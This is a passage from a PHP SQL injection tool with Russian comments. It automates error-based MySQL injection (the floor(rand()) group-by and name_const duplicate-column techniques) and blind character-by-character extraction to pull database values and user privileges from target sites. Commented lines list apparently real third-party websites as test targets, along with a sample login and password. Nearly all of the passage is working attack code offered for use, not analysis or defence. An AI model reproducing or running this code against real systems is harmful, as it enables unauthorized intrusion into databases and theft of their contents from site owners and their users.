$zap.$col;\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\t\n\t\t\t}\n\t\t//}\t\n\t\t\t//$this-\u003ed($query,'$query');\n\t\t\t//exit;\n\t\n\t\t\n\n\t\t\t\t$q = $query.' ';\n\t\t\t\t$q = str_replace(',,', ',',$q);\n\t\t\t\t$q = str_replace('  ', ' ',$q);\n\t\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t//$this-\u003eset['sleep']['hex']=true;\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t//$sss = $this-\u003emysqlDumperFilter('SEleCT '.$q);\n\t\t\t\t\n\t\t\t\t$file = $this-\u003esend_sql('SEleCT '.$q,false);\n\t\t\t\t//exit;\n\t\t\t\t\n\t\t\t\tif($this-\u003ehead_enable==true){\n\t\t\t\t\t\n\t\t\t\t\tfile_put_contents('./file_sleep_head_hex.txt',$file);\n\t\t\t\t}else{\n\t\t\t\t\tfile_put_contents('./file_sleep_hex.txt',$file);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t//$this-\u003ed($q,'$q');\n\t\t\t\t\n\t\t\t\t//$this-\u003ed($file,'$file');\t\n\t\t\t\t\n\t\t\t\t//$this-\u003ed('tochka: send_sql-  '.'SEleCT '.$q);\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$this-\u003efile = $file;\n\t\t\t\t\n\t\t\t\tif($this-\u003edumpfile==true)\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\t//return $file;\n\t\t\n\t\t\t\t}\n\t\t\t\t\n\n\t\t\t\n\t\t\t\t\n\t\t\t\t//ищем результаты\t\n\t\t\t\tif(count($pole)==1) //если он один предполагается\n\t\t\t\t{\n\t\t\t\t\t//preg_match_all(\"/\\[X\\](.*?)\\[XX\\]/is\",$file,$arr);\n\t\t\t\t\t  preg_match_all(\"|\\[ddd\\](.*?)\\[ddd\\]|i\",$file,$arr);\n\t\t\t\t\t//$this-\u003ed($arr[1][0],'$arr[1][0]');\n\n\t\t\t\t\tif(isset($arr[1][0]))return array($pole[0]=\u003e$arr[1][0]);\n\t\t\t\t\t\n\t\t\t\t\treturn false;\n\t\t \t\t\n\t\t\t\t}else//если не сколько полей было\n\t\t\t\t{\n\t\t \t\t\t\t\n\t\t\t\t\t\tpreg_match_all(\"|\\[ddd\\](.*?)\\[ddd\\]|i\",$file,$arr);\n\t\t\t\t\t\t\n\t\t\t\t\t\t//preg_match_all(\"~\\^(.*?)\\^~is\",$arr22[0],$arr);\n\t\t\t\t\t\t\n\t\t\t\t\t\t//$this-\u003ed(\"~\\[{$val}\\](.*?)\\[{$val}\\]~iS\",'reg ALL');\n\t\t\t\t\t\t\n\t\t\t\t\t\t//$this-\u003ed($arr,'arrA_LLL POLE HEX');\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t$j=1;\n\t\t\t\t\t\n\t\t\t\t\tforeach ($pole as $val)\n\t\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\tif(isset($arr[1][0]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$arr[1][0] = str_replace('^^','^',$arr[1][0]);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$b = explode('^',$arr[1][0]);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$b_bew = array_filter($b, function($element) {\n\t\t\t\t\t\t\t\treturn !empty($element);\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t//$this-\u003ed($b,'b');\n\t\t\t\t\t\t\t//$this-\u003ed($b_bew,'b_new');\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$export[$val] = $b[$j];\n\t\t\t\t\t\t}else\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$export[$val] = '';\n\t\t\t\t\t\n\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t$j++;\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\tif(isset($export))\n\t\t\t\t{\t\n\t\t\t\t\treturn $export;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn false;\n\t\t\n\n\t}\n\t\n\t\n\t\n\t\n\tfunction mysqGetValueByError($bd,$table,$pole,$limit=0,$order=array(),$where=''){//дочерняя\n\t\t\n\t\t//$this-\u003ed('mysqGetValueByError METHOD');\n\t\t\n\t\t$limit = $limit.',1';\n\t\t\n\t\tif($table!==''){\n\t\t\t\n\t\t\t$from = 'FROM+'.$bd.'.'.$table.'';\n\t\t\t\n\t\t}else{\n\t\t\t$from = '';\n\t\t}\n\t\t\n\t\tif($this-\u003eget_by_error_leght==0)\n\t\t{\n\t\t\t\t\t\t\t\n\t\t\t$url = $this-\u003eurl.'19999999999'.$this-\u003eget_by_error.'+or+(select+count(*)from(select+1+union+select+2+union+select+3)x+group+by+concat('.$this-\u003eget_by_error.'x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1'.$this-\u003eget_by_error.',floor(rand(0)*2)))+--+'.$this-\u003eget_by_error.'x'.$this-\u003eget_by_error.'='.$this-\u003eget_by_error.'x';\n\t\t\t\n\t\t\t$file = $this-\u003egetContents($url);\n\t\t\t//echo $url.'\u003cbr/\u003e';\n\t\t\t//$this-\u003ed($url,'$url');\n\t\t\t\n\t\t\t//$this-\u003ed($file,'$file');\n\t\t\t\n\t\t\t//\tdie();\n\t\t\t\t//[MySQL][ODBC 3.51 Driver][mysqld-5.5.47-0+deb8u1]Unknown column 'x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1' in 'group statem\n\t\t\tpreg_match_all(\"~\\Duplicate entry \\'(.*?)\\'~is\",$file,$arr);\n\t\t\t\n\t\t\t//$this-\u003ed($arr,'$arr1');\n\t\t\t\n\t\t\tif(!isset($arr[1][0])){\n\t\t\t\tpreg_match_all(\"~(\\s)?Unknown column \\'(.*?)\\' in~is\",$file,$arr);\n\t\t\t\t//$this-\u003ed($arr,'$arr2');\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t///Duplicate entry 'x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1' for key 1\n\t\t\t$this-\u003eget_by_error_leght = substr_count($arr[1][0], 'x1');\n\t\t\t$this-\u003eget_by_error_leght = $this-\u003eget_by_error_leght*2;\n\t\t\t\n\t\t\t\n\t\t\t//$this-\u003ed($this-\u003eget_by_error_leght,'$this-\u003eget_by_error_leght');\n\t\t\t//$this-\u003ed($this-\u003eget_by_error,'$this-\u003eget_by_error');\n\t\t\t\n\t\t\t\n\t\t\t//echo $this-\u003eget_by_error_leght;\n\t\t\t//die($this-\u003eget_by_error_leght);\n\t\t}\n\t\t\n\t\t//print_r($pole);\n\t\t\n\t\t//Нужна проверка на concat в запросе\n\t\t\n\t\t//Узнать какая длинн\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\tif(is_array($pole)){\n\t\t\t\n\t\t\tforeach ($pole as $value){\n\n\t\t\t\t$url = $this-\u003eurl.'19999999999'.$this-\u003eget_by_error.'+or+(select+count(*)from(select+1+union+select+2+union+select+3)x+group+by+concat((select+length('.$value.')+'.$from .'+'.$where.'+limit+'.$limit.'),CHAR('.$this-\u003echarcher(\"|\").'),floor(rand(0)*2)))+--+'.$this-\u003eget_by_error.'x'.$this-\u003eget_by_error.'='.$this-\u003eget_by_error.'x';\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t$file = $this-\u003egetContents($url);\n\t\t\t\t\n\t\t\t//\techo $url.'\u003cbr/\u003e';\n\t\t\t\t//echo $file.'\u003cbr/\u003e';\n\t\t\t\t//die();\n\t\t\t\tpreg_match_all(\"~\\Duplicate entry \\'(.*?)\\|~is\",$file,$arr);\n\n\t\t\t\t//print_r($arr);\n\t\t\t\t//\t\t\tdie();\n\t\t\t\t$len_stroki = $arr[1][0];\n\t\t\t\t$count_zapr = ceil($arr[1][0]/$this-\u003eget_by_error_leght);\n\t\t\t\t\n\t\t\t\t// echo $this-\u003eget_by_error_leght;\n\t\t\t\t//die();\n\t\t\t\t////\n\t\t\t\t$stroka = '';\n\t\t\t\n\t\t\t\t$start = 1;\n\t\t\t\n\t\t\t\n\t\t\t\t$fin   = $this-\u003eget_by_error_leght;\n\t\t\t\n\t\t\t//\techo $count_zapr.'\u003cbr/\u003e';\n\t\t\t\t\n\t\t\tfor($i=1;$i\u003c=$count_zapr;$i++){\n\n\t\t\t\t//echo $start.'\u003cbr\u003e';\n\t\t\t\t\n\t\t\t\t$url = $this-\u003eurl.'19999999999'.$this-\u003eget_by_error.'+or+(select+count(*)from(select+1+union+select+2+union+select+3)x+group+by+concat(mid((select+'.$value.'+'.$from.'+'.$where.'+limit+'.$limit.'),'.$start.','.$fin.'),floor(rand(0)*2)))+--+'.$this-\u003eget_by_error.'x'.$this-\u003eget_by_error.'='.$this-\u003eget_by_error.'x';\n\t\t\t\t$file = $this-\u003egetContents($url);\n\t\t\t\t\t\n\t\t\t\t//echo $url.'\u003cbr/\u003e';\n\t\t\t\t//echo $file.'\u003cbr/\u003e\u003cbr/\u003e';\n\t\t\t\t\n\t\t\t\tpreg_match_all(\"~\\Duplicate entry \\'(.*?)\\' for key~is\",$file,$arr);\n\n\t\t\t\t$stroka.= @$arr[1][0];\n\t\t\t\t$start = $start + $this-\u003eget_by_error_leght;\n\t\t\t\t$fin   = $fin + $this-\u003eget_by_error_leght;\n\t\t\t\t\n\t\t\t\n\t\t\t\t//echo $i.'\u003cbr/\u003e';\n\t\t\t\n\t\t\t}\n\t\t\t//die();\n\t\t\t$stroka = substr($stroka, 0, -1);\n\t\t\t\t\n\t\t\t\t////\n\t\t\t\t\n\t\t\t\t$new[$value] = $stroka;\n\n\t\t\t\t\n\t\t\t}\n\t\t\t\treturn $new;\n\t\t\t\n\t\t}else{\n\n\t\t\t$url = $this-\u003eurl.'19999999999'.$this-\u003eget_by_error.'+or+(select+count(*)from(select+1+union+select+2+union+select+3)x+group+by+concat((select+length('.$pole.')+'.$from.'+'.$where.'+limit+'.$limit.'),CHAR('.$this-\u003echarcher(\"|\").'),floor(rand(0)*2)))+--+'.$this-\u003eget_by_error.'x'.$this-\u003eget_by_error.'='.$this-\u003eget_by_error.'x';\n\t\t\t$file = $this-\u003egetContents($url);\n\t\t\tpreg_match_all(\"~\\Duplicate entry \\'(.*?)\\|~is\",$file,$arr);\n\n\t\t\t$len_stroki = $arr[1][0];\n\t\t\t$count_zapr = ceil($arr[1][0]/$this-\u003eget_by_error_leght);\n\t\t\t\n\t\t\t//echo $count_zapr;\n\t\t\t\n\t\t\t$stroka = '';\n\t\t\t\n\t\t\t$start = 1;\n\t\t\t$fin   = $this-\u003eget_by_error_leght;\n\t\t\t\n\t\t\tfor($i=1;$i\u003c=$count_zapr;$i++){\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$url = $this-\u003eurl.'19999999999'.$this-\u003eget_by_error.'+or+(select+count(*)from(select+1+union+select+2+union+select+3)x+group+by+concat(mid((select+'.$pole.'+'.$from.'+'.$where.'+limit+'.$limit.'),'.$start.','.$fin.'),floor(rand(0)*2)))+--+'.$this-\u003eget_by_error.'x'.$this-\u003eget_by_error.'='.$this-\u003eget_by_error.'x';\n\t\t\t\t$file = $this-\u003egetContents($url);\n\t\t\t\tpreg_match_all(\"~\\Duplicate entry \\'(.*?)\\' for key~\",$file,$arr);\n\n\t\t\t\t$stroka.= $arr[1][0];\n\t\t\t\t$start+= $this-\u003eget_by_error_leght;\n\t\t\t\t$fin  += $this-\u003eget_by_error_leght;\n\t\t\t\t\n\t\t\t\n\t\t\t\t//echo $i.'\u003cbr/\u003e';\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t$stroka = substr($stroka, 0, -1);\n\t\t\t\n\t\t\treturn array($pole=\u003e$stroka);\n\t\t\t\n\t\t\t\n\t\t}\n\t\t\n\t\t\n\t\n\t}\n\t\n\tfunction mysqGetValueByErrorNEW($bd,$table,$pole,$limit=0,$order=array(),$where=''){//дочерняя\n\t\t\n\t\t$limit = $limit.',1';\n\t\t\n\t\tif($table!==''){\n\t\t\t\n\t\t\t$from = 'FROM+'.$bd.'.'.$table.'';\n\t\t\t\n\t\t}else{\n\t\t\t$from = '';\n\t\t}\n\t\t\n\t\tif($this-\u003eget_by_error_leght==0){\n\t\t\t\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t$url = $this-\u003eurl.$this-\u003eget_by_error.'+or+(1,2)=(select*from(select%20name_const(CHAR(120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49),1),name_const(CHAR(120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49,120,49),1))a)';\n\t\t\t\n\t\t//\techo $url;\n\t\t\t\n\t\t\t$file = $this-\u003egetContents($url);\n\t\t\t//echo $file;\n\t\t\t//die();\n\t\t\t\t\n\t\t\tpreg_match_all(\"~\\Duplicate column name \\'(.*?)\\'~is\",$file,$arr);\n\t\t\t///Duplicate entry 'x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1x1' for key 1\n\t\t\t$this-\u003eget_by_error_leght = substr_count($arr[1][0], 'x1');\n\t\t\t$this-\u003eget_by_error_leght = $this-\u003eget_by_error_leght*2;\n\t\t\t\n\t\t\t//echo $this-\u003eget_by_error_leght;\n\t\t\t//die();\n\t\t\t//echo $this-\u003eget_by_error_leght;\n\t\t\t//die($this-\u003eget_by_error_leght);\n\t\t}\n\t\t\n\t\t//print_r($pole);\n\t\t\n\t\t//Нужна проверка на concat в запросе\n\t\t\n\t\t//Узнать какая длинн\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\tif(is_array($pole)){\n\t\t\t\n\t\t\tforeach ($pole as $value){\n\n\t\t\t\t\t\t\n\t\t\t\t$qu = '(select+'.$value.'+'.$from.'+'.$where.'+limit+'.$limit.')';\n\t\t\t\n\t\t\t\t$url = $this-\u003eurl.$this-\u003eget_by_error.'+or+(1,2)=(select*from(select%20name_const('.$qu.',1),name_const('.$qu.',1)+'.$from .'+'.$where.'+limit+'.$limit.')a)+AND+'.$this-\u003eget_by_error.'x'.$this-\u003eget_by_error.'='.$this-\u003eget_by_error.'x';\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$file = $this-\u003egetContents($url);\n\t\t\t\t//echo $url.'\u003cbr/\u003e';\n\t\t\t//\techo $file.'\u003cbr/\u003e---\u003cbr/\u003e';\n\t\t\t\tpreg_match_all(\"~\\Duplicate column name \\'(.*?)\\'~\",$file,$arr);\n\n\t\t\t\t$stroka = @$arr[1][0];\n\n\t\t\t\t$new[$pole] = $stroka;\n\t\t\t\n\t\t\t}\n\n\t\t\t\t////\n\t\t\t\t\n\t\t\t\t$new[$pole] = $stroka;\n\n\t\t\t\treturn $new;\n\t\t\t\t\n\t\t\t\n\t\t}else{\n\n\t\t\n\n\t\t\t\t\n\t\t\t\t$qu = '(select+'.$pole.'+'.$from.'+'.$where.'+limit+'.$limit.')';\n\t\t\t\n\t\t\t\t$url = $this-\u003eurl.$this-\u003eget_by_error.'+or+(1,2)=(select*from(select%20name_const('.$qu.',1),name_const('.$qu.',1)+'.$from .'+'.$where.'+limit+'.$limit.')a)+AND+'.$this-\u003eget_by_error.'x'.$this-\u003eget_by_error.'='.$this-\u003eget_by_error.'x';\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$file = $this-\u003egetContents($url);\n\t\t\t//\techo $url.'\u003cbr/\u003e';\n\t\t\t//\techo $file.'\u003cbr/\u003e---\u003cbr/\u003e';\n\t\t\t\tpreg_match_all(\"~\\Duplicate column name \\'(.*?)\\'~\",$file,$arr);\n\n\t\t\t\t$stroka = @$arr[1][0];\n\n\t\t\t\treturn array($pole=\u003e$stroka);\n\t\t\t\n\t\t\t\n\t\t}\n\t\t\n\t\t\n\t\n\t}\n\t\n\tfunction mysqlGetByOrder($bd,$table,$pole,$limit=0,$order=array(),$where=''){//дочерняя\n\t\t\n\t\t$limit = $limit.',1';\n\t\t\n\t\tif($table!==''){\n\t\t\t\n\t\t\t$from = 'FROM+'.$bd.'.'.$table.'';\n\t\t\t\n\t\t}else{\n\t\t\t$from = '';\n\t\t}\n\t\t\n\n\t\n\t\t//id+and%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+%28SELECT+distinct+concat%280x7e%2C0x27%2Cfile_priv%2C0x27%2C0x7e%29+FROM+mysql.user+LIMIT+9%2C1%29%29+from+information_schema.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29+and+1%3D1\t\n\t\t\t\t\n\t\tif(is_array($pole)){\n\t\t\t\n\t\t\t\n\t\t\tforeach ($pole as $val){\n\n\t\t\t\t$url = $this-\u003eurl.$this-\u003eget_by_error.'+and%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+%28SELECT+distinct+concat%280x7e%2C0x27%2C'.$val.'%2C0x27%2C0x7e%29+'.$from.'+'.$where.'+LIMIT+'.$limit.'%29%29+from+information_schema.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29+and+'.$this-\u003eget_by_error.'1'.$this-\u003eget_by_error.'%3D'.$this-\u003eget_by_error.'1';\n\n\t\t\t//\techo $url.'\u003cbr/\u003e';\n\t\t\t\t\n\t\t\t\t$file = $this-\u003egetContents($url);\n\t\t\n\t\t\t\tpreg_match_all(\"~\\'(.*?)\\' for key~\",$file,$arr);\n\t\t\n\t\t\t\t$arr[1][0] = str_replace(\"'~1\",'',$arr[1][0]);\n\t\t\t\t//$this-\u003ed($arr,'$arr 1');\n\t\t\t\t$new[$val] = $arr[1][0];\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\treturn $new;\n\t\t\t\n\t\t}else\n\t\t{\n\n\t\t\t$url = $this-\u003eurl.$this-\u003eget_by_error.'+and%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+%28SELECT+distinct+concat%28'.$pole.'%2C0x27%2C0x7e%29+'.$from.'+'.$where.'+LIMIT+'.$limit.'%29%29+from+information_schema.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29+and+'.$this-\u003eget_by_error.'1'.$this-\u003eget_by_error.'%3D'.$this-\u003eget_by_error.'1';\n\t\t\n\t\t\t$file = $this-\u003egetContents($url);\n\t\t\t//echo $file;\n\t\t\n\t\t\tpreg_match_all(\"~\\'(.*?)\\' for key~\",$file,$arr);\n\t\t\t$arr[1][0] = str_replace(\"'~1\",'',$arr[1][0]);\n\t\t\t\n\t\t\t//$this-\u003ed($arr,'$arr 2');\n\t\t\treturn array($pole=\u003e$arr[1][0]);\n\t\t\t\n\t\t}\t\n\n\t\treturn false;\n\t}\n\t\n\t\n\t \n\t\n\t\n\t////////////////////////////////////////////////////////////////\n\t//////////////////////////BLIND/////////////////////////////////\n\t////////////////////////////////////////////////////////////////\n\t\n\tpublic function send_xpl($url, $xpl){\n\t\t\treturn $this-\u003econtent($url.$xpl);\n\t\t}\n\n\tpublic function content($url){ //thx  Elekt\n\t\t\n\t\t$timeout = 30;\n\n\t\t$h=@parse_url($url);\n\t\t//echo $url.\"\\r\\n\";\n\n\t\t$url = trim($url);\n\t\t\n\t\tif(extension_loaded('curl'))\n\t\t{\n\t\t\t//$this-\u003ed($url,'url');\n\t\t\t$ch = curl_init();\n\t\t\tcurl_setopt($ch, CURLOPT_ENCODING, '');\n\t\t\tcurl_setopt($ch, CURLOPT_HEADER, 0);\n\t\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n\t\t\tcurl_setopt($ch, CURLOPT_TIMEOUT, $timeout);\n\t\t\tcurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);\n\t\t\tcurl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);\n\t\t\tcurl_setopt($ch, CURLOPT_MAXREDIRS, 2);\n\t\t\tcurl_setopt($ch, CURLOPT_URL, $url);\n\t\t\t$page = curl_exec($ch);\n\t\t\tcurl_close($ch);\n\t\t\t\n\t\t\t//$this-\u003ed($page,'$page');\n\t\t\t//exit;\n\t\t\t\n\t\t\treturn $page;\n\t\t}\n\n\t\telseif(extension_loaded('sockets'))\n\t\t{\n\t\t\tif(@strtolower(@$h['scheme'])=='https')\n\t\t\t {\n\t\t\t\t if(!@extension_loaded('openssl')) return;\n\t\t\t\t $h['port']=443;\n\t\t\t\t $fp = @fsockopen('ssl://'.@$h['host'], @$h['port'], $errno, $errstr, $timeout);if(!$fp) return;\n\t\t\t }\n\t\t\telse\n\t\t\t {\n\t\t\t\t $h['port']=80;\n\t\t\t\t $fp = @fsockopen(@$h['host'], @$h['port'], $errno, $errstr, $timeout);if(!$fp) return;\n\t\t\t }\n\t\t\t$str=\"GET \".@$h['path'].'?'.@$h['query'].\" HTTP/1.0\\r\\n\".\n\t\t\t\t \"Host: \".@$h['host'].\"\\r\\n\".\n\t\t\t\t \"\\r\\n\";\n\t\t\t@fputs($fp, $str);\n\t\t\t$page=''; while (!@feof($fp)) {$page.=@fgets($fp,128);}\n\t\t\t@fclose ($fp);\n\t\t\t//die($page);\n\t\t\treturn $page;\n\t\t}\n\n\t\telseif( in_array(@ini_get('allow_url_fopen'),array('On','ON','1','Y','Yes','YES'))\n\t\t\t\u0026\u0026\n\t\t\t(@$h['scheme']=='https'?@extension_loaded('openssl'):1)\n\t\t  )\n\t\t{\n\t\t\t@ini_alter('default_socket_timeout',$timeout);\n\t\t\treturn @file_get_contents($url);\n\t\t}\n\t\telse \n\t\t{\n\t\t\t\n\t\t\treturn;}\n\t}\t\n\n\tpublic function arr(){\n\t\t//return array_merge(range('0', '9'),range('a', 'f'));\n\t\treturn range('a', 'z');\n\t}\n\n\tpublic function build_xpl($array, $pos){\n\t\t$what_to_find = $this-\u003ewhat_to_find;\n\t\tforeach ($array as $letter)\n\t\t{\n\t\t\t$set .= $letter.',';\n\t\t}\n\t\t$set = substr($set, 0, -1);\n\t\t$str = \"find_in_set(substring(($what_to_find),$pos,1),'$set') \";\n\t\treturn $str;\n\t}\n\n\tpublic function grep_exploited($url){\n\n\t}\n\n\tpublic function blind($url){\n\t\n\t\n\t\n\t\n\t$limit=0;      // row number\n\t$from=1;       // pages from\n\t$array = $this-\u003earr(); // a-z0-9\n\t$symbols = 32;\n\t//$url = 'http://produmar.com/en/productos_inter_categoria.php?id3=39\u0026id=15\u0026idd=';\n\t//$url = 'http://dailyjournalhomes.com/detail.php?mls=';\n\t//http://tori3.com/posts/idoe-uah.es/en/idoe_noticias.php?id=1\n\n\t//$what_to_find = 'select+'.$field.'+from+'.$table.'+limit+'.$limit.',1'; // select query\n\n\n\t$this-\u003ewhat_to_find = 'USER()';\n\t\n\t \n\t\t\t\n\techo \"Generating templates\";\n\t\n\tfor($i=1;$i\u003c=count($array);$i++)\n\t{\t\n\t echo \".\";\n\t $res[$i]=$this-\u003esend_xpl($url, ($from-1)+$i);\n\t}\n\techo \" [OK]\\r\\n\u003cbr\u003e\u003cbr\u003e\";\n\t//$this-\u003ed($res,'$res');\n\t//exit;\n\tflush();\n\t/////////////////////////////\n\n\techo \"Getting keywords\";\n\tfor($i=1;$i\u003c=count($array);$i++)\n\t{\n\t\techo \".\";\n\t\t$splitted1 = str_split($res[$i], 10); // UGLY HACK\n\t\t\n\t\t\n\t\t//$this-\u003ed($res[$i],'$res[$i]');\n\t\t//$this-\u003ed($splitted1,'$splitted1');\n\t\t//exit;\n\t\t\n\t\t$keys[$i] = array();\n\t\t\n\t\tfor($j=1;$j\u003c=count($array);$j++)\n\t\t{ \n\t\t\tif($j==$i){continue;}\n\n\t\t\t$splitted2 = str_split($res[$j], 10); // UGLY HACK \n\t\t\t\n\t\t\t//$this-\u003ed($splitted2,'$splitted2');\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t$diffs = array_diff($splitted1, $splitted2);\n\t\t\t\n\t\t//\t$this-\u003ed($diffs,'$diffs');\n\t\t\t//exit;\n\n\t\t\t$keys[$i] = array_merge($keys[$i], $diffs);\n\t\t\t\n\t\t\t//d($keys,'keys');\n\t\t\t//exit;\n\t\t}\n\n\t\t$keys[$i] = array_unique($keys[$i]);\n\t}\n\techo \" [OK]\\r\\n\u003cbr\u003e\u003cbr\u003e\";\n\t//$this-\u003ed($keys,'keys');\n\t//exit;\n\tflush();\n\t/////////////////////////////\n\n\techo \"Filtering keywords\";\n\tfor($i=1;$i\u003c=count($array);$i++)\n\t{\n\t\techo \".\";\n\t\t\n\t\tfor($j=1;$j\u003c=count($array);$j++)\n\t\t{\t\n\t\t\tif($j==$i)continue;\n\t\t\t\n\t\t\t$diffs = array();\n\t\t\t$diffs = array_diff($keys[$i], $keys[$j]);\n\t\t\t$keys[$i] = $diffs;\n\t\t}\n\t}\n\techo \" [OK]\\r\\n\u003cbr\u003e\u003cbr\u003e\";\n\t//$this-\u003ed($keys,'keys2');\n\t\n\t//exit;\n\tflush();\n\t/////////////////////////////\n\n\techo \"Sending queries\";\n\t$xpl_pages = array();\n\n\tfor($i=1;$i\u003c=$symbols;$i++) \n\t{ \n\t echo \".\";\n\t $xpl = $this-\u003ebuild_xpl($array, $i);\n\t if($from\u003e1)\n\t   $xpl = ($from-1).\"%2B\".$xpl;\n\t $xpl_pages[$i] = $this-\u003esend_xpl($url, $xpl);\n\t}\n\techo \" [OK]\\r\\n\u003cbr\u003e\u003cbr\u003e\";\n\tflush();\n\t/////////////////////////////\n\n\techo \"Getting value: \";\n\tforeach($xpl_pages as $x)\n\t{\n\t  for($i=1;$i\u003c=count($array);$i++)\n\t  {\n\t\tif(strpos($x,$keys[$i][0])!==false)\n\t\t{\n\t\t  echo $array[$i-1];\n\t\t  flush();\n\t\t  break;\n\t\t}\n\t  }\n\t} \n\n\techo \" [DONE]\\r\\n\";\n\n\n\n\n\t\n}\n\n\t\n\t\t\n\t\n\t\n\t\n\t////////////////////////////////////////////////////////////////\n\t//////////////////////////ПАУК/////////////////////////////////\n\t////////////////////////////////////////////////////////////////\n\t\n\t//post_url - это куда данные отправляем\n\t//get_to_url -  САЙТ + uuname=TerkeyVinsont\u0026upass=Ttyhqwek8723\u0026upass2=Ttyhqwek872\n\t//postdata = массив со значениями поста\n\t//postquery - чистый запрос\n\t\n\tpublic function start_crowler($value=\"anykstenai.lt\"){\n\t\t\n\t\t$value=\"testphp.vulnweb.com\";\n\t\n\t\t\n\t\t\n\t\t$this-\u003ed($value,'crowler');\n\t\t\n\t\t$value 